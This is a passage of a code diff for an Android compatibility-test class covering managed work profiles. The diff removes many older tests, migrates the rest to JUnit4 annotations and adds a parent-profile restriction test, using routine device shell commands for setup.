- tryWaitForSuccess(
- userLocked,
- "The managed profile has not been locked after calling "
- + "lockNow(FLAG_SECURE_USER_DATA)",
- TIMEOUT_USER_LOCKED_MILLIS);
- }
-
- /** Profile should get locked if it is not in foreground no matter what. */
- public void testWorkProfileTimeoutBackground() throws Exception {
- if (!mHasFeature) {
- return;
- }
- setUpWorkProfileTimeout();
-
- startDummyActivity(mPrimaryUserId, true);
- simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
-
- verifyOnlyProfileLocked(true);
- }
-
- /** Profile should get locked if it is in foreground but with no user activity. */
- public void testWorkProfileTimeoutIdleActivity() throws Exception {
- if (!mHasFeature) {
- return;
- }
- setUpWorkProfileTimeout();
-
- startDummyActivity(mProfileUserId, false);
- Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
-
- verifyOnlyProfileLocked(true);
- }
-
- /** User activity in profile should prevent it from locking. */
- public void testWorkProfileTimeoutUserActivity() throws Exception {
- if (!mHasFeature) {
- return;
- }
- setUpWorkProfileTimeout();
-
- startDummyActivity(mProfileUserId, false);
- simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
-
- verifyOnlyProfileLocked(false);
- }
-
- /** Keep screen on window flag in the profile should prevent it from locking. */
- public void testWorkProfileTimeoutKeepScreenOnWindow() throws Exception {
- if (!mHasFeature) {
- return;
- }
- setUpWorkProfileTimeout();
-
- startDummyActivity(mProfileUserId, true);
- Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
-
- verifyOnlyProfileLocked(false);
- }
-
- private void setUpWorkProfileTimeout() throws DeviceNotAvailableException {
- // Set separate challenge.
- changeUserCredential(PROFILE_CREDENTIAL, null, mProfileUserId);
-
- // Make sure the profile is not prematurely locked.
- verifyUserCredential(PROFILE_CREDENTIAL, mProfileUserId);
- verifyOnlyProfileLocked(false);
- // Set profile timeout to 5 seconds.
- runProfileTimeoutTest("testSetWorkProfileTimeout", mProfileUserId);
- }
-
- private void verifyOnlyProfileLocked(boolean locked) throws DeviceNotAvailableException {
- final String expectedResultTest = locked ? "testDeviceLocked" : "testDeviceNotLocked";
- runProfileTimeoutTest(expectedResultTest, mProfileUserId);
- // Primary profile shouldn't be locked.
- runProfileTimeoutTest("testDeviceNotLocked", mPrimaryUserId);
- }
-
- private void simulateUserInteraction(int timeMs) throws Exception {
- final long endTime = System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(timeMs);
- final UserActivityEmulator helper = new UserActivityEmulator(getDevice());
- while (System.nanoTime() < endTime) {
- helper.tapScreenCenter();
- // Just in case to prevent busy loop.
- Thread.sleep(100);
- }
- }
-
- private void runProfileTimeoutTest(String method, int userId)
- throws DeviceNotAvailableException {
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ProfileTimeoutTestHelper",
- method, userId);
- }
-
- private void startDummyActivity(int profileUserId, boolean keepScreenOn) throws Exception {
- getDevice().executeShellCommand(String.format(
- "am start-activity -W --user %d --ez keep_screen_on %s %s/.TimeoutActivity",
- profileUserId, keepScreenOn, MANAGED_PROFILE_PKG));
- }
-
+ @Test
public void testMaxOneManagedProfile() throws Exception {
int newUserId = -1;
try {
newUserId = createManagedProfile(mParentUserId);
- } catch (AssertionFailedError expected) {
+ } catch (AssertionError expected) {
}
if (newUserId > 0) {
removeUser(newUserId);
@@ -389,6 +84,7 @@
/**
* Verify that removing a managed profile will remove all networks owned by that profile.
*/
+ @Test
public void testProfileWifiCleanup() throws Exception {
if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
return;
@@ -406,82 +102,8 @@
mParentUserId);
}
- public void testWifiMacAddress() throws Exception {
- if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
- return;
- }
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mProfileUserId);
- }
-
- public void testCrossProfileIntentFilters() throws Exception {
- if (!mHasFeature) {
- return;
- }
- // Set up activities: ManagedProfileActivity will only be enabled in the managed profile and
- // PrimaryUserActivity only in the primary one
- disableActivityForUser("ManagedProfileActivity", mParentUserId);
- disableActivityForUser("PrimaryUserActivity", mProfileUserId);
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
- MANAGED_PROFILE_PKG + ".ManagedProfileTest", mProfileUserId);
-
- assertMetricsLogged(getDevice(), () -> {
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileTest",
- "testAddCrossProfileIntentFilter_all", mProfileUserId);
- }, new DevicePolicyEventWrapper.Builder(EventId.ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setInt(1)
- .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
- .build());
-
- // Set up filters from primary to managed profile
- String command = "am start -W --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
- + "/.PrimaryUserFilterSetterActivity";
- CLog.d("Output for command " + command + ": "
- + getDevice().executeShellCommand(command));
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".PrimaryUserTest", mParentUserId);
- // TODO: Test with startActivity
- }
-
- public void testDisallowSharingIntoProfileFromProfile() throws Exception {
- if (!mHasFeature) {
- return;
- }
- // Set up activities: PrimaryUserActivity will only be enabled in the personal user
- // This activity is used to find out the ground truth about the system's cross profile
- // intent forwarding activity.
- disableActivityForUser("PrimaryUserActivity", mProfileUserId);
-
- // Tests from the profile side
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
- ".DisallowSharingIntoProfileTest", "testSharingFromProfile", mProfileUserId);
- }
-
- public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
- if (!mHasFeature) {
- return;
- }
- // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
- // This activity is used to find out the ground truth about the system's cross profile
- // intent forwarding activity.
- disableActivityForUser("ManagedProfileActivity", mParentUserId);
-
- // Tests from the personal side, which is mostly driven from host side.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
- "testSetUp", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
- "testDisableSharingIntoProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
- "testSharingFromPersonalFails", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
- "testEnableSharingIntoProfile", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DisallowSharingIntoProfileTest",
- "testSharingFromPersonalSucceeds", mParentUserId);
- }
-
+ @LargeTest
+ @Test
public void testAppLinks_verificationStatus() throws Exception {
if (!mHasFeature) {
return;
@@ -518,6 +140,8 @@
assertAppLinkResult("testReceivedByAppLinkActivityInManaged");
}
+ @LargeTest
+ @Test
public void testAppLinks_enabledStatus() throws Exception {
if (!mHasFeature) {
return;
@@ -571,6 +195,7 @@
assertAppLinkResult("testThreeReceivers");
}
+ @Test
public void testSettingsIntents() throws Exception {
if (!mHasFeature) {
return;
@@ -580,135 +205,8 @@
mProfileUserId);
}
- public void testCrossProfileContent() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- // Storage permission shouldn't be granted, we check if missing permissions are respected
- // in ContentTest#testSecurity.
- installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
- installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
-
- // Test from parent to managed
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testRemoveAllFilters", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testAddManagedCanAccessParentFilters", mProfileUserId);
- runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mParentUserId);
-
- // Test from managed to parent
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testRemoveAllFilters", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testAddParentCanAccessManagedFilters", mProfileUserId);
- runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mProfileUserId);
-
- }
-
- public void testCrossProfileNotificationListeners_EmptyWhitelist() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
- // Profile owner in the profile sets an empty whitelist
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testSetEmptyWhitelist", mProfileUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- // Listener outside the profile can only see personal notifications.
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testCannotReceiveProfileNotifications", mParentUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- }
-
- public void testCrossProfileNotificationListeners_NullWhitelist() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
- // Profile owner in the profile sets a null whitelist
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testSetNullWhitelist", mProfileUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- // Listener outside the profile can see profile and personal notifications
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testCanReceiveNotifications", mParentUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- }
-
- public void testCrossProfileNotificationListeners_InWhitelist() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
- // Profile owner in the profile adds listener to the whitelist
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testAddListenerToWhitelist", mProfileUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- // Listener outside the profile can see profile and personal notifications
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testCanReceiveNotifications", mParentUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- }
-
- public void testCrossProfileNotificationListeners_setAndGet() throws Exception {
- if (!mHasFeature) {
- return;
- }
- installAppAsUser(NOTIFICATION_APK, USER_ALL);
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
- "testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
- Collections.singletonMap(PARAM_PROFILE_ID, Integer.toString(mProfileUserId)));
- }
-
- public void testCrossProfileCopyPaste() throws Exception {
- if (!mHasFeature) {
- return;
- }
- installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
- installAppAsUser(INTENT_SENDER_APK, USER_ALL);
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testAllowCrossProfileCopyPaste", mProfileUserId);
- // Test that managed can see what is copied in the parent.
- testCrossProfileCopyPasteInternal(mProfileUserId, true);
- // Test that the parent can see what is copied in managed.
- testCrossProfileCopyPasteInternal(mParentUserId, true);
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testDisallowCrossProfileCopyPaste", mProfileUserId);
- // Test that managed can still see what is copied in the parent.
- testCrossProfileCopyPasteInternal(mProfileUserId, true);
- // Test that the parent cannot see what is copied in managed.
- testCrossProfileCopyPasteInternal(mParentUserId, false);
- }
-
- private void testCrossProfileCopyPasteInternal(int userId, boolean shouldSucceed)
- throws DeviceNotAvailableException {
- final String direction = (userId == mParentUserId)
- ? "testAddManagedCanAccessParentFilters"
- : "testAddParentCanAccessManagedFilters";
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- "testRemoveAllFilters", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
- direction, mProfileUserId);
- if (shouldSucceed) {
- runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
- "testCanReadAcrossProfiles", userId);
- } else {
- runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
- "testCannotReadAcrossProfiles", userId);
- }
- }
-
/** Tests for the API helper class. */
+ @Test
public void testCurrentApiHelper() throws Exception {
if (!mHasFeature) {
return;
@@ -718,6 +216,7 @@
}
/** Test: unsupported public APIs are disabled on a parent profile. */
+ @Test
public void testParentProfileApiDisabled() throws Exception {
if (!mHasFeature) {
return;
@@ -726,10 +225,23 @@
"testParentProfileApiDisabled", mProfileUserId);
}
+ @Test
+ public void testCannotCallMethodsOnParentProfile() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
+ "testCannotWipeParentProfile", mProfileUserId);
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
+ "testCannotCallAutoTimeMethodsOnParentProfile", mProfileUserId);
+ }
+
// TODO: This test is not specific to managed profiles, but applies to multi-user in general.
// Move it to a MultiUserTest class when there is one. Should probably move
// SetPolicyActivity to a more generic apk too as it might be useful for different kinds
// of tests (same applies to ComponentDisablingActivity).
+ @Test
public void testNoDebuggingFeaturesRestriction() throws Exception {
if (!mHasFeature) {
return;
@@ -758,6 +270,7 @@
}
// Test the bluetooth API from a managed profile.
+ @Test
public void testBluetooth() throws Exception {
boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
if (!mHasFeature || !hasBluetooth) {
@@ -774,6 +287,7 @@
"testGetRemoteDevice", mProfileUserId);
}
+ @Test
public void testCameraPolicy() throws Exception {
boolean hasCamera = hasDeviceFeature(FEATURE_CAMERA);
if (!mHasFeature || !hasCamera) {
@@ -793,94 +307,7 @@
}
}
-
- public void testManagedContactsUris() throws Exception {
- runManagedContactsTest(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileTest.this,
- MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
-
- contactsTestSet.setCallerIdEnabled(true);
- contactsTestSet.setContactsSearchEnabled(true);
- contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
- contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
- contactsTestSet.checkIfCanFilterSelfContacts();
- return null;
- }
- });
- }
-
- public void testManagedQuickContacts() throws Exception {
- runManagedContactsTest(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
- "testQuickContact", mParentUserId);
- return null;
- }
- });
- }
-
- public void testManagedContactsPolicies() throws Exception {
- runManagedContactsTest(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- ContactsTestSet contactsTestSet = new ContactsTestSet(ManagedProfileTest.this,
- MANAGED_PROFILE_PKG, mParentUserId, mProfileUserId);
- try {
- contactsTestSet.setCallerIdEnabled(true);
- contactsTestSet.setContactsSearchEnabled(false);
- contactsTestSet.checkIfCanLookupEnterpriseContacts(true);
- contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
- contactsTestSet.checkIfCanFilterSelfContacts();
- contactsTestSet.setCallerIdEnabled(false);
- contactsTestSet.setContactsSearchEnabled(true);
- contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
- contactsTestSet.checkIfCanFilterEnterpriseContacts(true);
- contactsTestSet.checkIfCanFilterSelfContacts();
- contactsTestSet.setCallerIdEnabled(false);
- contactsTestSet.setContactsSearchEnabled(false);
- contactsTestSet.checkIfCanLookupEnterpriseContacts(false);
- contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
- contactsTestSet.checkIfCanFilterSelfContacts();
- contactsTestSet.checkIfNoEnterpriseDirectoryFound();
- assertMetricsLogged(getDevice(), () -> {
- contactsTestSet.setCallerIdEnabled(true);
- contactsTestSet.setCallerIdEnabled(false);
- }, new DevicePolicyEventWrapper
- .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setBoolean(false)
- .build(),
- new DevicePolicyEventWrapper
- .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setBoolean(true)
- .build());
- assertMetricsLogged(getDevice(), () -> {
- contactsTestSet.setContactsSearchEnabled(true);
- contactsTestSet.setContactsSearchEnabled(false);
- }, new DevicePolicyEventWrapper
- .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setBoolean(false)
- .build(),
- new DevicePolicyEventWrapper
- .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .setBoolean(true)
- .build());
- return null;
- } finally {
- // reset policies
- contactsTestSet.setCallerIdEnabled(true);
- contactsTestSet.setContactsSearchEnabled(true);
- }
- }
- });
- }
-
+ @Test
public void testOrganizationInfo() throws Exception {
if (!mHasFeature) {
return;
@@ -891,23 +318,18 @@
"testDefaultOrganizationNameIsNull", mProfileUserId);
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
mProfileUserId);
- assertMetricsLogged(getDevice(), () -> {
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
- "testSetOrganizationColor", mProfileUserId);
- }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .build());
- }
-
- public void testPasswordMinimumRestrictions() throws Exception {
- if (!mHasFeature) {
- return;
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".OrganizationInfoTest",
+ "testSetOrganizationColor", mProfileUserId);
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_COLOR_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .build());
}
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
- mProfileUserId);
}
+ @Test
public void testDevicePolicyManagerParentSupport() throws Exception {
if (!mHasFeature) {
return;
@@ -916,6 +338,7 @@
MANAGED_PROFILE_PKG, ".DevicePolicyManagerParentSupportTest", mProfileUserId);
}
+ @Test
public void testBluetoothContactSharingDisabled() throws Exception {
if (!mHasFeature) {
return;
@@ -935,6 +358,7 @@
.build());
}
+ @Test
public void testCannotSetProfileOwnerAgain() throws Exception {
if (!mHasFeature) {
return;
@@ -950,6 +374,8 @@
/*expectFailure*/ true));
}
+ @LargeTest
+ @Test
public void testCannotSetDeviceOwnerWhenProfilePresent() throws Exception {
if (!mHasFeature) {
return;
@@ -966,6 +392,7 @@
}
}
+ @Test
public void testNfcRestriction() throws Exception {
if (!mHasFeature || !mHasNfcFeature) {
return;
@@ -985,84 +412,7 @@
"testNfcShareEnabled", mParentUserId);
}
- public void testCrossProfileWidgets() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- try {
- installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
- getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
- + " --package " + WIDGET_PROVIDER_PKG);
- setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
- startWidgetHostService();
-
- String commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
- "add-cross-profile-widget", mProfileUserId);
- assertTrue("Command was expected to succeed " + commandOutput,
- commandOutput.contains("Status: ok"));
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
- "testCrossProfileWidgetProviderAdded", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
- ".CrossProfileWidgetPrimaryUserTest",
- "testHasCrossProfileWidgetProvider_true", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
- ".CrossProfileWidgetPrimaryUserTest",
- "testHostReceivesWidgetUpdates_true", mParentUserId);
-
- commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
- "remove-cross-profile-widget", mProfileUserId);
- assertTrue("Command was expected to succeed " + commandOutput,
- commandOutput.contains("Status: ok"));
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
- "testCrossProfileWidgetProviderRemoved", mProfileUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
- ".CrossProfileWidgetPrimaryUserTest",
- "testHasCrossProfileWidgetProvider_false", mParentUserId);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
- ".CrossProfileWidgetPrimaryUserTest",
- "testHostReceivesWidgetUpdates_false", mParentUserId);
- } finally {
- changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
- mProfileUserId);
- getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
- }
- }
-
- public void testCrossProfileWidgetsLogged() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- try {
- installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
- getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
- + " --package " + WIDGET_PROVIDER_PKG);
- setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
- startWidgetHostService();
-
- assertMetricsLogged(getDevice(), () -> {
- changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
- "add-cross-profile-widget", mProfileUserId);
- changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
- "remove-cross-profile-widget", mProfileUserId);
- }, new DevicePolicyEventWrapper
- .Builder(EventId.ADD_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .build(),
- new DevicePolicyEventWrapper
- .Builder(EventId.REMOVE_CROSS_PROFILE_WIDGET_PROVIDER_VALUE)
- .setAdminPackageName(MANAGED_PROFILE_PKG)
- .build());
- } finally {
- changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
- mProfileUserId);
- getDevice().uninstallPackage(WIDGET_PROVIDER_PKG);
- }
- }
-
+ @Test
public void testIsProvisioningAllowed() throws DeviceNotAvailableException {
if (!mHasFeature) {
return;
@@ -1077,16 +427,7 @@
"testIsProvisioningAllowedTrue", mParentUserId);
}
- private void setDirectoryPrefix(String directoryName, int userId)
- throws DeviceNotAvailableException {
- String command = "content call --uri " + DIRECTORY_PRIVOIDER_URI
- + " --user " + userId
- + " --method " + SET_CUSTOM_DIRECTORY_PREFIX_METHOD
- + " --arg " + directoryName;
- CLog.d("Output for command " + command + ": "
- + getDevice().executeShellCommand(command));
- }
-
+ @Test
public void testPhoneAccountVisibility() throws Exception {
if (!mHasFeature) {
return;
@@ -1127,6 +468,8 @@
}
}
+ @LargeTest
+ @Test
public void testManagedCall() throws Exception {
if (!mHasFeature) {
return;
@@ -1177,52 +520,7 @@
mParentUserId);
}
- private void givePackageWriteSettingsPermission(int userId, String pkg) throws Exception {
- // Allow app to write to settings (for RingtoneManager.setActualDefaultUri to work)
- String command = "appops set --user " + userId + " " + pkg
- + " android:write_settings allow";
- CLog.d("Output for command " + command + ": " + getDevice().executeShellCommand(command));
- }
-
- public void testRingtoneSync() throws Exception {
- if (!mHasFeature) {
- return;
- }
- givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
- "testRingtoneSync", mProfileUserId);
- }
-
- // Test if setting RINGTONE disables sync
- public void testRingtoneSyncAutoDisableRingtone() throws Exception {
- if (!mHasFeature) {
- return;
- }
- givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
- "testRingtoneDisableSync", mProfileUserId);
- }
-
- // Test if setting NOTIFICATION disables sync
- public void testRingtoneSyncAutoDisableNotification() throws Exception {
- if (!mHasFeature) {
- return;
- }
- givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
- "testNotificationDisableSync", mProfileUserId);
- }
-
- // Test if setting ALARM disables sync
- public void testRingtoneSyncAutoDisableAlarm() throws Exception {
- if (!mHasFeature) {
- return;
- }
- givePackageWriteSettingsPermission(mProfileUserId, MANAGED_PROFILE_PKG);
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".RingtoneSyncTest",
- "testAlarmDisableSync", mProfileUserId);
- }
-
+ @Test
public void testTrustAgentInfo() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -1250,6 +548,7 @@
}
}
+ @Test
public void testSanityCheck() throws Exception {
if (!mHasFeature) {
return;
@@ -1259,6 +558,7 @@
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SanityTest", mProfileUserId);
}
+ @Test
public void testBluetoothSharingRestriction() throws Exception {
final boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
if (!mHasFeature || !hasBluetooth) {
@@ -1274,356 +574,23 @@
"testOppDisabledWhenRestrictionSet", mProfileUserId);
}
- public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
+ //TODO(b/130844684): Re-enable once profile owner on personal device can no longer access
+ //identifiers.
+ @Ignore
+ @Test
+ public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
// The Profile Owner should have access to all device identifiers.
if (!mHasFeature) {
return;
}
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DeviceIdentifiersTest",
- "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mProfileUserId);
+ "testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers", mProfileUserId);
}
- public void testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission() throws Exception {
- if (!mHasFeature) {
- return;
- }
-
- // Revoke the READ_PHONE_STATE permission for the profile user ID to ensure the profile
- // owner cannot access device identifiers without consent.
- getDevice().executeShellCommand(
- "pm revoke --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
- + " android.permission.READ_PHONE_STATE");
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".DeviceIdentifiersTest",
- "testProfileOwnerCannotGetDeviceIdentifiersWithoutPermission", mProfileUserId);
- }
-
- public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testSetupWorkProfile", mProfileUserId);
- lockProfile();
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testResetPasswordBeforeUnlock", mProfileUserId);
- // Password needs to be in sync with ResetPasswordWithTokenTest.PASSWORD1
- verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
- }
-
- public void testClearPasswordWithTokenBeforeUnlock() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testSetupWorkProfile", mProfileUserId);
- lockProfile();
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testClearPasswordBeforeUnlock", mProfileUserId);
- // Make sure profile has no password
- verifyUserCredential("", mProfileUserId);
- }
-
- /**
- * Test password reset token is still functional after the primary user clears and
- * re-adds back its device lock. This is to detect a regression where the work profile
- * undergoes an untrusted credential reset (causing synthetic password to change, invalidating
- * existing password reset token) if it has unified work challenge and the primary user clears
- * the device lock.
- */
- public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
- final String devicePassword = "1234";
-
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testSetResetPasswordToken", mProfileUserId);
- try {
- changeUserCredential(devicePassword, null, mParentUserId);
- changeUserCredential(null, devicePassword, mParentUserId);
- changeUserCredential(devicePassword, null, mParentUserId);
- lockProfile();
- runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
- "testResetPasswordBeforeUnlock", mProfileUserId);
- verifyUserCredential(RESET_PASSWORD_TEST_DEFAULT_PASSWORD, mProfileUserId);
- } finally {
- changeUserCredential(null, devicePassword, mParentUserId);
- // Cycle the device screen to flush stale password information from keyguard,
- // otherwise it will still ask for the non-existent password.
- // return screen to be on for cts test runs
- executeShellCommand("input keyevent KEYCODE_WAKEUP");
- executeShellCommand("input keyevent KEYCODE_SLEEP");
- executeShellCommand("input keyevent KEYCODE_WAKEUP");
- }
- }
-
- public void testIsUsingUnifiedPassword() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
-
- // Freshly created profile has no separate challenge.
- verifyUnifiedPassword(true);
-
- // Set separate challenge and verify that the API reports it correctly.
